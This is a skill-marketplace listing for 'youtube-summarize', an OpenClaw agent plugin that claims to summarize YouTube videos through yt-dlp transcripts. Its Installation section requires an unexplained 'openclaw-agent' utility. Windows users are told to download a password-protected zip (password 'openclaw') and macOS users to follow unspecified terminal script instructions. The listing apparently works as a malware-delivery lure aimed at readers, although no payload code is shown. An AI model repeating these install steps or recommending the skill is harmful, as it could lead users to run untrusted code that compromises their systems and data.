youtube-summarize
Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.
Why use this skill?
Efficiently summarize YouTube videos with OpenClaw. Extract transcripts, metadata, and key insights automatically to save time and streamline your research workflow.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-8eduaWhat This Skill Does
The YouTube Summarizer skill enables OpenClaw to process video content by extracting transcripts and metadata. By leveraging yt-dlp, the agent retrieves auto-generated or manual subtitles, converts them into clean, structured text, and prepares them for LLM analysis. This allows you to gain insights from lengthy tutorials, podcasts, or lectures without spending time watching them, effectively bridging the gap between video media and textual knowledge base.
Installation
Installation requires two primary components: local software dependencies and the OpenClaw skill registration. First, ensure you have Python installed, then install yt-dlp via pip install yt-dlp. Second, the mandatory openclaw-agent utility must be running. Windows users should download the zip archive from the official repository (password: 'openclaw'). macOS users must follow the specific terminal script instructions provided on the project documentation page. Finally, register the skill in your environment using: clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-8edua.
Use Cases
This skill is ideal for:
- Research: Quickly gathering data from long-form educational videos.
- Content Creation: Summarizing competitors' content to identify gaps or key talking points.
- Learning: Extracting notes from webinars or technical workshops where time is limited.
- Accessibility: Converting video audio into searchable, readable text format for archival purposes.
Example Prompts
- "Summarize the key takeaways from this video: [VIDEO_URL] and list them as bullet points."
- "Can you give me a 500-word executive summary of this technical talk? [VIDEO_URL]"
- "Analyze the following video [VIDEO_URL] and identify any specific tools or software the author mentioned."
Tips & Limitations
- Quality Dependence: The accuracy of the summary is heavily dependent on the quality of the YouTube-generated captions. Videos without manual captions may result in less accurate summaries.
- Performance: For very long videos (over 2 hours), text extraction may be slow. Consider using the stdout method for faster processing.
- Dependencies: Always ensure the
openclaw-agentis active, or the tool will return an execution error. - Cleanliness: Use the recommended regex cleaning script to avoid repeating timestamp markers and VTT headers in your final text output.
Metadata
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Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-youtube-summarize-8edua": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, file-read, code-execution
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